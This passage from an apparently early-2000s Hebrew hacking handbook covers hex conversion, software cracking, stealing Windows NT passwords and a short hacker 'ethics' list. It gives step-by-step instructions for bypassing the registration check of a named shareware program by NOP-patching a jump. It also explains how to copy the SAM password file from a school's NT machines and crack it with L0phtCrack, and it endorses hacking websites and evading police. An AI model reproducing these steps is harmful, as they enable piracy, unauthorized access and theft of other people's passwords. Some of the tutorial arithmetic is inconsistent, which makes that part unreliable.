‫ועוד הרבה הרבה דברים אחרים‪.‬‬

‫=====================‬
‫בטוח שלא יגלו את זה ?‬
‫=====================‬

‫תשמעו אני לא יכול להבטיח שלא יגלו את זה ‪ ,‬זה תלוי איך כתבתם ובאיכות של התוכנה‪.‬‬
‫אם תכתבו תוכנה שלוקחת אות ומזיזה אותה תו אחד בטווח זה לא טוב‪ ,‬למשל אמרת ש ‪ B‬יהפוך‬
‫ל ‪.C‬‬

‫‪114‬‬
‫זה ממש קל לגלות אבל אם משהו אחר‪ ,‬תנסו לעשות את זה כמה שיותר מסובך ורחוק בטווח‪.‬‬
‫למשל ש ‪ A‬יהיה ‪ W‬או משהו כזה‪.‬‬
‫אני לא יכול שוב להבטיח שלא יגלו מה בפנים‪ ,‬כמו שאני לא יכול להבטיח שלא יפרצו לכם‬
‫למחשב‬
‫מתישהו או שלא יתפסו אתכם אם תפרצו לאתר‪ ,‬לא תמיד יתפסו אבל אני ואף אחד אחר לא יכול‬
‫להבטיח‬
‫שלא‪.‬‬
‫מבינים מה אני אומר‪ ,‬זה עניין של סיכון‪.‬‬
‫לדעתי האישית תעבדו רק אם תוכנות שאתם כתבתם‪ ,‬ואם יש לכם בעיות אז קחו את התוכנה‬
‫שיש למטה‪,‬‬
‫ותשנה את המבנה שלה‪.‬‬
‫אבל בחיים‪ ,‬אבל בחיים אם אתם יודעים שיש סיכוי שאיזה שוטר יבוא לקחת את המחשב שלכם‬
‫איזה יום‪,‬‬
‫אל תשתמשו בתוכנות כתובות ותוכנות דפוקות‪.‬‬

‫========‬
‫לינקים ‪.‬‬
‫========‬

‫אתרים על קידוד והצפנה אפשר למצוא בכל חור ברשת‪ ,‬אבל מה מיוחד בטקסט שלי ‪? 9-:‬‬
‫אני נותן לכם פה קישור לתוכנה שהיא בעצם תוכנת הצפנה‪ ,‬שנכתבה ע"י בן אדם מאוד חכם (לא‬
‫אני)‪.‬‬
‫אז אם אתם רוצים קחו אותה‪ ,‬תקמפלו אותה ותבלו איתה‪.‬‬
‫כל זאת כמה לינקים לכיף ‪:‬‬

‫‪www.astalavista.com‬‬
‫‪hack.box.sk‬‬
‫‪blacksun.box.sk‬‬
‫‪By Pirs[I]ng‬‬

‫‪115‬‬
‫בסיס הקסדצימלי – המרה‬

‫מאת ‪Zeos :‬‬


‫במדריך זה תלמד איך להמיר מבסיס הקסדצימלי לעשרוני ולהפך ‪ .‬לא סיפור גדול ‪ ,‬אבל חשוב‬
‫שתדע כדי לבצע דברים מורכבים יותר בעתיד‪ .‬המדריך הזה הוא רק חלק ממדריך ענק של בסיס‬
‫הקסדצימלי שאני ימשיך להכין אם יהיה לי כוח ‪):‬‬
‫{מדריך זה נכתב לצורכי לימוד בלבד – האחריות לשימושו עלייך בלבד }‬
‫יאללה!‬

‫מה זה הקסדצימלי ?‬
‫הקסדצימלי הוא בסיס ‪ ,16‬מה זה בסיס אתה שואל ובכן בסיס הוא הגורם שאותו מעלים‬
‫בחזקה‪ .‬אני יודע שאני קצת סוטה מהנושא אבל בצורה מתמטית פשוטה בסיס זה כמו ה ‪ X‬כאן ‪:‬‬
‫‪ xA‬וה ‪ A‬הוא המעריך שלו ‪ .‬אז כן אם הבנת נכון – הקסדצימלי הוא בסיס ‪ 16‬ו ה‪ A-‬הוא‬
‫המעריך שלו‪ ,‬תלמד חזקות ושוב לפה‪.‬‬

‫אוקיי פירוש למילה הקסדצימלי (‪ )Hexadecimal‬הוא בעצם מיוונית – ‪ HEXA‬שזה ‪ 6‬ו‬


‫‪ DECIMAL‬שזה ‪ – 10‬דצימלי הוא הבסיס המוכר לכולנו – בסיס ‪ , 10‬עשרוני‪ .‬וכמו כן יש גם‬
‫את הבסיס בינארי – בסיס ‪ 2‬שהוא הבסיס הבסיסי ביותר ומשתמשים בו בגלל העובדה שמחשב‬
‫יכול לקלוט רק אותות חשמליים של כבוי ודלוק ולכן ‪ 0‬ו ‪ 1‬שהם המספרים היחידים בבסיס זה‬
‫מועברים למחשב‪ .‬בבסיס ה הקסדצימלי משתמשים כדי לשנות פקודות ועוד דברים משום‬
‫העובדה שהוא נוח לעבודה דרך שפת סף (אסמבלר) כי רוב הפקודות בה מתורגמות למספרים‬
‫הקסדצימליים פשוטים יחסית (עוד פרטים במדריך אסמבלר) ‪.‬‬

‫שיטות ספירה‬
‫טוב ‪ ,‬עכשיו נכון שכאשר אתה סופר רגיל אתה סופר כך ‪:‬‬
‫‪... 10 ,9 ,8 ,7 ,6 ,5 ,4 ,3 ,2 , 1‬‬
‫זאת שיטת הספירה המקובלת הנקראת גם השיטה העשרונית או הדצימלית‪.‬‬
‫אוקיי עכשיו למה הבלטתי את ‪ 9‬ו ‪ ! ? 10‬זאת משום שבנקודה הזאת בעצם המספר מקבל עוד‬
‫ספרה מצד שמאל ומתאפס מחדש‪ .‬כך גם בבסיס הקסדצימלי ‪ .‬כמו שבעשרוני אנו סופרים עד ‪9‬‬
‫ואז מוסיפים לעשרות ‪ 1‬ומאפסים את היחידות (וזאת משום שמבחינה תיאורטית אין כזה דבר‬
‫"עשר אחדות" אלא יש "אחד עשרות") ‪.‬‬
‫בקיצור ‪ ,‬בהקסדצימלי זה דומה – אתה סופר עד ‪ 15‬ואז מוסיף אחד לספרה שמאלית רק‬
‫שבהקסדצימלי הספרה השמאלית שווה לכפולות של ‪ 16‬ולא לכפולות של ‪.10‬‬
‫לא הבנת ‪ ,‬לא נורא עוד מעט תבין‪ .‬עכשיו בהקסדצימלי סופרים עד ‪ 9‬כרגיל ואז מ ‪ 10‬ועד ‪15‬‬
‫ישנם אותיות כדלקמן‪:‬‬
‫עשרוני – הקסדצימלי‬
‫‪1–1‬‬
‫‪2–2‬‬
‫‪3–3‬‬
‫‪4–4‬‬
‫‪5–5‬‬
‫‪6–6‬‬
‫‪7–7‬‬
‫‪8–8‬‬
‫‪9–9‬‬
‫‪A – 10‬‬
‫‪B – 11‬‬
‫‪C – 12‬‬
‫‪D – 13‬‬
‫‪E – 14‬‬

‫‪116‬‬
‫‪F – 15‬‬

‫‪!LET THE GAME BEGIN‬‬

‫נגיד שהבנת איך זה הולך אז בוא נתחיל להמיר מ הקסדצימלי לעשרוני כי זה יותר קל‪.‬‬
‫טוב הסתכל בטבלה הבאה שמייצגת את המספר ‪ 12‬בבסיס הרגיל (עשרוני) ‪:‬‬

‫‪1‬‬ ‫‪2‬‬
‫‪1000000‬‬ ‫‪100000‬‬ ‫‪10000‬‬ ‫‪1000‬‬ ‫‪100‬‬ ‫‪10‬‬ ‫‪1‬‬

‫כמו שבוודאי הספקת להבין בטבלה הזאת מוצג המספר ‪ 12‬כאשר הוא מחולק ל ‪ 1‬עשרות ועוד ‪2‬‬
‫יחידות ‪ ,‬פשוט וקל ‪ .‬וכן גם שים לב שככל שהולכים בטבלה התחתונה שמאלה כך גם נכפל‬
‫המספר בעשר ‪ ,‬כלומר שכל מספר הוא כפולה של עשר בעצמו – חזקה שלו ‪ .‬ככה ש ‪ 1‬זה עשר‬
‫בחזקת ‪ 0‬ועשר זה עשר בחזקת אחד ‪ ,‬ומאה זה עשר בחזקת ‪. 2‬‬

‫אותו סיפור גם בהקסדצימלי ‪:‬‬

‫‪65536‬‬ ‫‪4096‬‬ ‫‪256‬‬ ‫‪16‬‬ ‫‪1‬‬

‫נגיד וננסה לכתוב את המספר בהקסדצימלי (שים לב ש ‪ 12‬הוא ‪ C‬לפי הטבלה למעלה) זה אמור‬
‫להראות כך‪:‬‬

‫‪C‬‬
‫‪65536‬‬ ‫‪4096‬‬ ‫‪256‬‬ ‫‪16‬‬ ‫‪1‬‬
‫כי בעצם כופלים אותו בעצמו‪.‬‬
‫בוא נלך על מספר טיפה יותר גדול ‪ :‬המספר ‪ 2A‬שבעשרוני זה ‪44‬‬
‫למה? בוא ותראה ‪ ,‬בעצם אפשר לחלק את ‪ 2A‬ככה ‪:‬‬

‫‪2‬‬ ‫‪A‬‬
‫‪65536‬‬ ‫‪4096‬‬ ‫‪256‬‬ ‫‪16‬‬ ‫‪1‬‬

‫אז מה בעצם יש כאן ? בשביל לקבל את התוצאה מה נעשה בדיוק כפי שעושים בעשרוני – ניקח‬
‫את ‪ 12‬הקודם זה בעצם ‪ 10 * 1‬ועוד ‪. 1 * 2‬‬
‫אז פה המספר ‪ 2A‬זה יהיה ‪ 16 * 2‬שזה ‪ 32‬ועוד ‪ A * 1 – A‬זה בעצם ‪10‬‬
‫אז זה שווה ל ‪ 10 * 1‬כלומר ‪ 10 + 32 :‬שזה שווה ל ‪42‬‬
‫מסובך ? אולי השרטוט הזה יעזור לך ‪:‬‬
‫ניקח את ‪ 42‬בעשרוני ונגלה שהוא שווה ל‪:‬‬
‫‪40 = 10 * 4‬‬
‫‪2=1*2‬‬

‫‪42 = 2 + 40‬‬

‫עכשיו ניקח את ‪ 2A‬בהקסדצימלי ונגלה שהוא שווה ל‪:‬‬


‫‪32 = 16 * 2‬‬
‫‪ – A = 10‬לפי הטבלה‬
‫‪10 = 1 * 10‬‬

‫‪117‬‬
‫‪42 = 10 + 32‬‬

‫בוא וקח דוגמאות אחרות ‪:‬‬


‫‪= 86A‬‬
‫‪A * 1 = 10‬‬
‫‪96 = 16 * 6‬‬
‫‪2048 = 256 * 8‬‬

‫‪2154 = 2048 + 96 + 10‬‬

‫כלומר ‪86A = 2154 :‬‬

‫‪4C91‬‬

‫‪1=1*1‬‬
‫‪144 = 16 * 9‬‬
‫‪C * 256 = 3072‬‬
‫‪16384 = 4096 * 4‬‬

‫‪19601 = 16384 + 3072 + 144 +1‬‬

‫כלומר ‪4C91 = 19601‬‬

‫המרה מעשרוני להקסדצימלי‬


‫עכשיו העסק אמור להיות קל אם הבנת את החלק שלמעלה ועברת את כיתה ג' ‪:‬‬
‫בשביל להמיר מעשרוני להקסדצימלי מה שעושים זה פשוט‪ ,‬לחלק את המספר ב ‪ , 16‬למה ב‪?16 -‬‬
‫עקרון ההמרה שיוסבר כאן הוא פשוט פירוק ספרות ולאחר מכן שרשור שלהם ביחד ( "לחבר"‬
‫אותם – נגיד ‪ 1‬ו ‪ 2‬יהפכו להיות ‪ , ) 12‬בסדר נחזור למספר ‪ 12‬העשרוני שלנו‪:‬‬
‫תחלק אותו ב –‪ 10‬ותקבל‬
‫‪)2(1 = 10 / 12‬‬
‫‪)1( 0 = 10 / 1‬‬

‫בסדר‪ 99% ...‬שלא הבנת כלום ‪ ,‬מה שקורה למעלה הוא בדיוק מה שהסברתי – פירוק המספר‬
‫והשארית שלו היא המספר עצמו ‪....‬‬
‫‪ 12‬חלקי ‪ 10‬קיבלת ‪ 1‬ושארית ‪ 2‬מה שניתן לתרגום כ ‪ 1‬עשרות ו ‪ 2‬יחידות‬
‫לאחר מכן "שמרת" את ה‪ 2 -‬זאת השארית וחלקת את ה ‪ 1‬שקיבלת שחילקת ב ‪ 10‬ממקודם‬
‫וקיבלת ‪ 0‬ושארית של ‪ 1‬מה שאומר ‪ 1‬עשרות‪.‬‬
‫‪ 2‬יחידות ו ‪ 1‬עשרות – ‪12‬‬
‫די מסובך להסביר את זה ככה‪ ...‬אם לא הבנת ככה הנה עוד שיטה ‪ :‬בעצם בהמרה עשרונית אתה‬
‫מחלק‬
‫ב –‪ 0 1‬עד שאתה מקבל במספר ‪ 0‬ובשארית את המספר שחילקת עליו בעשר (‪ 1‬במקרה שלנו) ואז‬
‫כל פעם שאתה מחלק את השארית אתה שומר וממשיך לחלק וכל מספר שמתווסף אתה מחבר‬
‫משמאל למספר כך שקיבלת בהתחלה בשארית ‪ 2‬ואחר כך ‪ – 1‬שרשר אותם (לשים אותם אחד‬
‫ליד השני) ותקבל ‪12‬‬

‫אוקיי איך הדבר עובד בבסיס ‪? 16‬‬


‫נגיד המספר העשרוני הבא ‪22 :‬‬

‫‪118‬‬
‫מה נעשה אתו ? בדיוק מה שעשינו בעשרוני רק שעכשיו נחלק ב ‪ 16‬ולא ב‪!10 -‬‬
‫‪)6( 1 = 16 / 22‬‬
‫‪)1( 0 = 16 / 1‬‬

‫אוקיי ‪ 6‬ו –‪ – 1‬שרשר וקיבלת ‪16‬‬

‫דוגמית אחרת ‪58 :‬‬


‫‪)10( 3 = 16 / 58‬‬
‫‪)3( 0 =16 / 3‬‬

‫‪ 10‬בהקסדצימלי זה ‪ A‬מה שיתקבל בסוף הוא ‪3A‬‬

‫דבר חשוב מאוד למי שמשתמש במחשבון כאשר תנסה לחלק ‪ 58‬ב ‪ 16‬תקבל ‪ 3.625‬או בשברים‬
‫‪ 3‬ו ‪ 5‬חלקי ‪ , 8‬עכשיו תשים לב שכאשר אתה מחפש את השארית כדי לכתוב אותה בצורה‬
‫עשרונית אתה חייב להפוך את המכנה ל ‪ 16‬מה שבמקרה שלנו לכפול את המכנה והמונה של ‪5‬‬
‫חלקי ‪ 8‬ב –‪ 2‬ואז תקבל ‪ 10‬חלקי ‪ . 16‬וזאת התשובה לשארית ולא ‪.5‬‬
‫לידע כללי ‪ ,‬העיקרון פועל גם בעשרוני כי הרי נגיד שאתה רוצה לכתוב את השבר חצי (‪ 1‬חלקי ‪2‬‬
‫) בעשרוני כאשר הוא תחת בסיס עשר‪ ,‬אז אתה חייב לכפול את המונה והמכנה ב – ‪( 5‬כי ‪5 * 2‬‬
‫שווה ל ‪ ) 10‬ואז אתה מקבל ‪ 0.5‬אותו דבר בדיוק קורה גם ב הקסדצימלי כי אתה חייב "לכתוב‬
‫את המספר" תחת בסיס ‪ 16‬ולא תחת בסיס אחר‪.‬‬

‫דברי סיכום‪:‬‬
‫במדריך זה למדת (אם הצלחת) איך להמיר מבסיס ‪ 10‬לבסיס ‪ 16‬ולהפך‪ .‬אני יודע שזה לא סיפור‬
‫גדול אבל אתה תראה שזה יכול להשתלם לך אם תחליט ללמוד אסמבלר באופן מלא ‪,‬כמובן‬
‫שאפשר פשוט להשתמש בממיר בסיסים שניתן להוריד כמעט מכל מקום אבל אפילו המפצחים‬
‫המנוסים ביותר נוהגים יותר להתעסק עם זה לבד כי זה יותר מאתגר כנראה וגם כמו שכתוב‬
‫בהתחלה זה בסיס לדברים יותר מורכבים‪.‬‬

‫במדריך הבא שלי (על הקסה) אכתוב כיצד ניתן לחבר ‪ ,‬לחסר לכפול או לחלק מספרים מבסיס ‪16‬‬
‫ותלמד גם על חשיבות המספרים השליליים והמשלימים ל ‪( 2‬המדריך מסתמך על ידע בבסיס‬
‫‪( .‬בינארי‬

‫‪By Zeos‬‬

‫‪119‬‬
‫המדריך לפיצוח מעשי של הגנת סיסמא‬

‫מאת‪Zeos :‬‬

‫שלום לכם‪ ,‬זהו כבר המדריך השני שאני כותב בנוגע לקראקינג ‪ .‬בעקבות הודעות שהשאירו לי‬
‫בפורום בנוגע לפיצוח הגנת סיסמא החלטתי לכתוב את מדריך זה וכן גם בשביל שממש תוכל‬
‫להתנסות ולפצח תוכנית אמיתית‪.‬‬

‫הערה‪ :‬המדריך נוצר לצורכי לימוד בלבד! ‪ ,‬כל פעולה לא חוקית שתעשה או כל נזק שיגרם‬
‫למחשבך עקב כל פעילות על סמך המדריך הנה על אחריותך בלבד!‪ ,‬המדריך מוסבר בצורה‬
‫תיאורטית וכל פעולה לא חוקית שתנקוט כתוצאה מכל סוג של שימוש הנה על אחריותך האישית‬
‫בלבד‪ .‬אם אתה מעוניין לנצל את הפיצוח למטרות רווח אנא הפסק לקרוא‪.‬‬

‫חלק ‪ – 1‬הכלים והידע‬


‫טוב ‪ ,‬אז למדריך הזה אתה חייב (!) ידע באסמבלי ‪ ,‬בלי ידע אתה תתקע‪ ...‬עדיף שתלמד מספרים‬
‫או באינטרנט קצת ואז חזור לכאן (רק ידע בסיסי למדריך זה ‪ ,‬עדיף שתדע קצת על אוגרים‪,‬‬
‫פונקציות השוואה ובסיסים)‪.‬‬
‫הכלים שנשתמש הם כלים די נפוצים‪:‬‬
‫‪ W32.1‬דיסאמבלר מעולה חובה בכל בית בישראל ‪):‬‬
‫‪ )Hworks (HEX WORKSHOP.2‬עורך הקסדצימלי (מציג את הקבצים בבסיס‬
‫‪ )16‬אם אתה יודע להשתמש טוב בכל עורך אחר‪ ,‬בבקשה‪.‬‬
‫ניתן להשיג את הקבצים כמעט בכל מקום באינטרנט‪...‬‬

‫חלק ‪ – 2‬המטרה‬
‫בשביל שלא יהיה קשה ‪ ,‬סיירתי באתרי קראקינג ומצאתי קובץ די נפוץ שמלמדים עליו איך לפרוץ‬
‫‪ .‬תוכנה ממש קלה וחביבה שלמפצח הבינוני לא צריך לקחת יותר מ ‪ 5‬דקות לפצח‪.‬‬
‫לתוכנה קוראים ‪ Sweet Little Piano :‬וניתן להוריד אותה מהכתובת הבאה‬
‫‪http://www.ronimusic.com/swlipi32.zip‬‬

‫חלק ‪ – 2‬בדיקת הודעות מערכת‬


‫קדימה לעבודה! ‪ ,‬אחרי שהרצנו את התוכנה לראשונה נפתחו לנו ‪ 2‬דברים ‪ :‬בהתחלה תיבת‬
‫הודעה שאומרת ‪:‬‬
‫‪Note! You must supply your user ID when ordering‬‬
‫‪User ID: xxxx‬‬

‫ש ‪ xxxx‬הוא המספר רשיון שלך‪ .‬אחרי שתלחץ על ‪ OK‬יפתח לך מסמך ‪ ORDER.TXT‬וכן גם‬
‫תיבה המבקשת את הסיסמא שלך שבה רשום בכותרת "‪ “Enter Your Password‬ומקום‬
‫להכניס סיסמא‪ .‬הקש משהו שטותי כל מספר שעולה על דעתך ואמורה להיפתח לך הודעת שגיאה‬
‫(כמה לא מפתיע) שבה רשום‬
‫‪ Not a valid password‬ובכותרת רשום‬
‫‪User ID xxxx Sweet Little Piano -‬‬
‫הקלק על ‪ OK‬שוב ותכנס לגרסה הלא מלאה של התוכנית‪.‬‬
‫אז מה היה לנו כאן ‪:‬‬
‫התוכנית פתחה לך מקום לרשום סיסמא בהתאם למספר זיהוי שהונפק לך (‪ )User ID‬ולאחר‬
‫מכן להשוות באמצעות אלגוריתם מסוים את הסיסמא למספר זיהוי ‪ ,‬אך אתה שמת מספר לא‬
‫נכון וקיבלת הודעת שגיאה ‪.‬‬

‫חלק ‪ – 3‬בודקים את הקוד‬


‫טוב ‪ ,‬בוא נראה מה קורה בתוך התוכנית‪ :‬פתח את ‪ W32‬ופתח בו את קובץ ה ‪ EXE‬של‬
‫התוכנית‪...‬הנה אחת הסיבות למה בחרתי דווקא את התוכנית הזאת – היא קטנה מה שאומר‬
‫שכנראה יהיה לנו פחות בלגן להתעסק וזה טוב ‪ . ):‬עכשיו קלטו מה נעשה – בוא נלחץ על‬

‫‪120‬‬
‫ (ליד הכפתור של ההדפסה) ונחפש את השורה שמראה לנו כי הבדיקה לא נכונה‬STRN.REF
Not a valid password :‫כלומר את המשפט‬
:‫מצאנו? יופי לחצו עליו ואמור להיפתח לכם משהו כזה‬

* Reference To: USER32.GetDlgItemTextA, Ord:0000h


|
:00401E54 E8EBBA0000 Call 0040D944
:00401E59 E83EFEFFFF call 00401C9C
:00401E5E 85C0 test eax, eax
:00401E60 741E je 00401E80
:00401E62 6A30 push 00000030


Possible StringData Ref from Data Obj ->”Sweet Little Piano”
|
:00401E64 68FCE14000 push 0040E1FC


Possible StringData Ref from Data Obj ->”Thanks for registering!”
|
:00401E69 68ADE14000 push 0040E1AD
:00401E6E 53 push ebx


Reference To: USER32.MessageBoxA, Ord:0000h
|
:00401E6F E812BB0000 Call 0040D986
:00401E74 C70568E2400001000000 mov dword ptr [0040E268],
00000001
:00401E7E EB1A jmp 00401E9A

• Referenced by a (U)nconditional or ©onditional Jump at Address:


|:00401E60©
|
:00401E80 6A30 push 00000030


Possible StringData Ref from Data Obj ->”Sweet Little Piano”
|
:00401E82 68FCE14000 push 0040E1FC


Possible StringData Ref from Data Obj ->”Not a valid password!”
|
:00401E87 68E3E14000 push 0040E1E3
:00401E8C 53 push ebx

‫ אז בוא ותראה‬, ‫אחרי שהתאוששת מהבלגן הזה והצלחת למצוא את הקטעים עליהם אני מדבר‬
‫ לפי השיגרה‬:‫מה קורה לנו פה‬
* Reference To: USER32.GetDlgItemTextA, Ord:0000h
|
:00401E54 E8EBBA0000 Call 0040D944 { ‫}קריאה לפונקציה‬
:00401E59 E83EFEFFFF call 00401C9C {‫} קריאה לפונקציה‬

121
‫‪:00401E5E 85C0‬‬ ‫}מבחן השוואה( ‪test eax, eax‬‬
‫‪:00401E60 741E‬‬ ‫} !קפיצה אם שווה{ ‪je 00401E80‬‬
‫‪00401E62 6A30‬‬ ‫‪push 00000030:‬‬

‫ישנם ‪ 4‬משפטים ‪ ,‬משפטים אחד ושתיים קוראים לפונקציה ‪ ,‬לא מעניין‪ .‬משפט שלישי עורך‬
‫מבחן מסוים בין שני האוגרים ‪ EAX‬אבל זה לא כל כך משנה לנו כי זה פיצוח אלגוריתם של‬
‫הסיסמה ואנחנו לא מתעסקים עם זה כעת ואילו במשפט הרביעי (מסומן בירוק) ישנה קפיצה אם‬
‫שווה – זה ‪ JE‬לשיגרה שאומרת כי ההרשמה הצליחה‪ .‬עכשיו בוא נחשוב ‪ ,‬מה היה קורה אילו‬
‫התוכנית הייתה עושה מבחן השוואה והפקודה ‪ JE‬לא הייתה שם? אז התוכנית הייתה נרשמת‬
‫בהצלחה‪ .‬אז יאללה קדימה בוא נלך ונשמיד אותה!!!!‬

‫חלק ‪ – 4‬נטרול פקודת ההשוואה‬


‫אם קראת את המדריך הראשון שלי תראה כי גם פה אני מנטרל את פקודת ההשוואה באמצעות‬
‫פקודת ‪NOP‬‬
‫= ‪ , NO OPERATION‬אבל יש בעיה קטנטנה ומעצבנת שפקודת ‪ JE‬תופסת שני בתים ופקודת‬
‫‪ NOP‬תופסת בייט אחד ‪ ,‬ולכן נכניס רק ‪ 2‬פקודות ‪ NOP‬ולא ארבע כמו שעשינו במדריך הקודם‪.‬‬
‫שים לב לטיפשות של המתכנת ‪ ):‬שעשה "מספר סידורי" כדי שתתבלבל ולא תמצא את‬
‫השיגרה‪ ,‬אל תדאג אם מספרי השורות בדיסאמבלר שלך לא שוות למה ששלי‪ ...‬פשוט עקוב‬
‫אחרי משפטי התוכנית שבראש (מסומנים בכחול) ותמצא אותם בהתאם ל"מספר סידורי" שלך‪.‬‬

‫אז בדוק ב ‪W32‬שלך את המספר ‪ OFFSET‬של הפקודה ‪ JE‬שלך (שוב פעם‪ ,‬אל תתייחס אם זה‬
‫לא דומה לשלי) ולאחר שרשמת אותו (ללא ה – ‪ ) H‬לך לעורך ההקסדצימלי שלנו ‪. HWORKS‬‬
‫קדימה קפוץ לשורה באמצעות פקודת ‪( GOTO‬אלט ו ‪ ) f5‬אל המספר שרשמת והקלד פעמיים‬
‫‪( 90‬זאת הפקודה ‪ NOP‬בהקסדצימלי) ‪ .‬שמור את הקובץ‪...‬‬

‫חלק ‪ – 5‬פיצחתי ! פיצחתי!! אני גבר!!!‬


‫תפעיל את התוכנית ואם עשית הכל נכון תראה שלא משנה איזה מספר תקיש ההרשמה תהיה‬
‫חוקית‪ .‬מזל טוב ‪ ,‬אני אישית גאה בך שפיצחת את התוכנית הראשונה שלך – רוץ בכל הבית‬
‫ותצעק "פיצחתי ! פיצחתי!" כמו שאני עשיתי בפעם הראשונה שהצלחתי ‪):‬‬

‫אם אתה רוצה להמשיך ולהיות מפצח אתה חייב לדעת שחלק מהיותך מפצח זה ללמוד שפות‬
‫תכנות שונות‪ ,‬למד ככל שתוכל ואז תוכל לקבל שליטה על כל מה שמתבצע בתוך תוכנית מכל סוג‬
‫ומכל שפה ולנתב אותה לפי רצונך וזאת בעצם התכלית של הקראקינג‪.‬‬

‫מקווה שנהנית מהמדריך ‪Zeos -‬‬

‫‪122‬‬
‫פריצת סיסמאות ב ‪Windows NT‬‬

‫אהלן!‬
‫‪ E-man‬כאן‪.‬‬

‫אז מה?‬
‫בית ספר החליט להתקין ‪ ?WinNT‬יופי‪ ...‬שיחנקו אייתו‪.‬‬
‫והכי טוב שאתם תחנקו אותם נכון?‬

‫במה להצטייד?‬

‫ציוד חובה‪:‬‬
‫‪ -‬דיסקט‬

‫ציוד רשות‪:‬‬
‫‪ -‬דיסקט ‪NTFSDOS‬‬
‫‪NT Resource Kit -‬‬
‫אז ככה‪:‬‬

‫איך לחפש את קובץ הסיסמאות?‬


‫פשוט ככה‪:‬‬

‫אם זה ‪ WinNT 4.0‬ומטה‪ ,‬חפשו את הקובץ _‪Sam.‬‬


‫אם זה ‪ WinNT5.0‬ומעלה‪ ,‬חפש את הקובץ ‪Sam‬‬

‫מהו ה‪?SAM-‬‬

‫ראשי התיבות של ‪ SAM‬הם ‪Security Accounts Manager‬‬


‫או בעברית‪ :‬מנהל אבטחת חשבונות‪.‬‬

‫יש כמה שיטות לפרוץ את הקובץ הזה‪.‬‬

‫שיטה ‪ :1‬תנסו להשיג את התוכנה ‪ .R-DISK‬זאת לא תוכנת פריצה‪ ,‬תוכנה זאת‪ ,‬של מיקרוסופט‬
‫בעצמה‪ ,‬מגבה את כל המידע הנחוץ של מערכת ההפעלה על דיסקט‪ .‬זה‬
‫כולל גם סיסמאות! פשוט השתמשו בתוכנה על מנת להשיג את הקובץ‪.‬‬

‫שיטה ‪ :2‬הסיסמאות הכי מעודכנות נמצאות בתיקיה ‪ .Winnt/System32/Config‬גם כן הם על _‪.‬‬


‫‪ Sam‬או על ‪.Sam‬‬
‫אבל למשתמש רגיל‪ ,‬מה שאנחנו (בינתיים) אין גישה לשם‪.‬‬
‫אל דאגה! פשוט השתמשו בדיסקט ‪ NTFSDOS‬כשאתם עושים ‪.Restart‬‬
‫עכשיו תוכלו להכנס לספריה הזאת ולהעתיק את הקובץ לדיסקט‪.‬‬

‫שיטה ‪ :3‬עותק של הסיסמאות נמצא גם ב ‪ ,Registry‬אבל משתמש רגיל לא יכול להכנס אליו‪.‬‬
‫מה אפשר לעשות? להשתמש בתוכנה (שוב‪ ,‬מבית מיקרוסופט) ‪ RegBack.exe‬מה ‪NT Resource‬‬
‫‪ Kit‬שמעתיקה את הסיסמאות לדיסקט‪.‬‬

‫שיטה ‪:4‬‬
‫*** שיטה זאת מיועדת רק למומחים ולאלה שלא מוותרים בקלות‪.‬‬
‫בקובץ ה ‪ Swap‬של ‪ WinNT‬מאוחסנות הסיסמאות בטקסט רגיל! אבל שוב‪ ,‬אי אפשר לחפש בו‬
‫כי המערכת משתמשת בו‪.‬‬

‫‪123‬‬
‫מה עושים? משתמשים ב ‪ NTFSDOS‬כדי להכנס ל ‪ DOS‬ומעתיקים את הקובץ ‪Swapfile.sys‬‬
‫למקום אחר על ההארד דיסק‪.‬‬
‫** שימו לב‪ :‬מעתיקים! לא מעבירים!‬
‫נכנסים לווינדוס ופשוט מחפשים בקובץ כשמשתמשים ב ‪ NotePad‬כדי לקרוא אותו‪.‬‬

‫לשיטה ‪ 2 ,1‬ו ‪:3‬‬


‫עכשיו‪ ,‬כשיש לנו את הקובץ‪ ,‬אנחנו צריכים לפצח אותו‪ .‬הסיסמאות בתוכו מקודדות ואי אפשר‬
‫להשתמש בהם ככה‪.‬‬
‫מה עושים? מורידים תוכנה בשם ‪ L0phtCrack‬מ ‪ www.l0pht.com‬ועוקבים אחרי ההוראות בה‬
‫איך להתחיל את תהליך הפיצוח‪.‬‬

‫עכשיו לכו לשחק עם החתול‪ ,‬להציק לאחות או סתם להמשיך לקרוא בזמן שהסיסמאות מופיעות‬
‫לאט לאט מול עינכים‪.‬‬

‫‪.By E-man‬‬

‫‪124‬‬
‫האתיקה של ההאקרים עפ"י ‪Razor\Oldhacker‬‬

‫”‪“They don't care about us‬‬


‫‪Micheal Jackson‬‬

‫אל תהיה אף פעם צבוע ‪ -‬להיות צבוע זה הדרגה הכי שפלה שיש באדם ‪ ,‬תהיה אמיתי ‪ ,‬אם ‪1.‬‬
‫אתה רוצה לומר למישהו אמת אמור לו את זה בפנים ואל תרמוז או תנסה להעביר את המסר‬
‫‪ !.‬ברמזים ‪ ,‬אמור זאת חד וחלק בפנים‬

‫אל תשקר ‪ -‬בעולם ההאקינג ובחיים בכלל אנשים שונאים שקרים ‪ ,‬פעם אחת ידעו ששיקרת ‪2.‬‬
‫‪ .‬יעיפו אותך מכל חברה שיש במיוחד בהאקינג שצריך אמינות רבה‬

‫אל תגנוב אף פעם כסף או רכוש מאדם ‪ -‬לדוגמה אל תגנוב מספרי אשראי של אנשים או ‪3.‬‬
‫‪ ...:-( .‬חשבונות בנקים ותשמש בהם לרע ‪ .‬זכורמה ששלמה ארצי שר ‪ :‬פוליטיקאים וגנבים הם‬

‫אל תתנשא ‪ -‬אל תתנשא בפני אף אחד על הדברים שלמדת מאחרים ואל הדברים שאתה יודע ‪4.‬‬
‫בכלל אלא למד את מי שלא יודע כמו שלימדו אותך וכמו שהספר הזה עושה ‪ ,‬זכור ‪ :‬תמיד יש‬
‫מישהו שיודע יותר טוב ממך ‪ ,‬ובכלל כל המטרה של ההאקרים זה להפיץ את הידע בחינם לכל‬
‫‪ .‬דורש‬

‫הזהר ורק אח"כ בצע ‪ -‬אם אתה רוצה לפרוץ לאתר שאותו אתה לא כל כך אוהב הזהר את בעל ‪5.‬‬
‫האתר ואמור לו שיוריד את האתר מהרשת ואם הוא לא עושה את דבריך פרוץ את האתר בלי‬
‫‪ .‬רגשות אשמה‬

‫תהיה בן אדם ‪ -‬זכור שהקהילה של האינטרנט היא חברה בדיוק כמו בחיים אלא שברשת אתה ‪6.‬‬
‫‪ .‬אנונומי ולמרות זה תתנהג כמו בן אדם ולא כמו פרא‬

‫‪ .‬בשביל כבוד צריך לעבוד‪7.‬‬

‫‪ " .‬זכור ‪ " :‬מעפר באת ולעפר תשוב ‪8.‬‬

‫‪By Razor \ Old-Hacker‬‬

‫‪125‬‬
‫שקר \ אמת ‪ -‬פריקינג‬

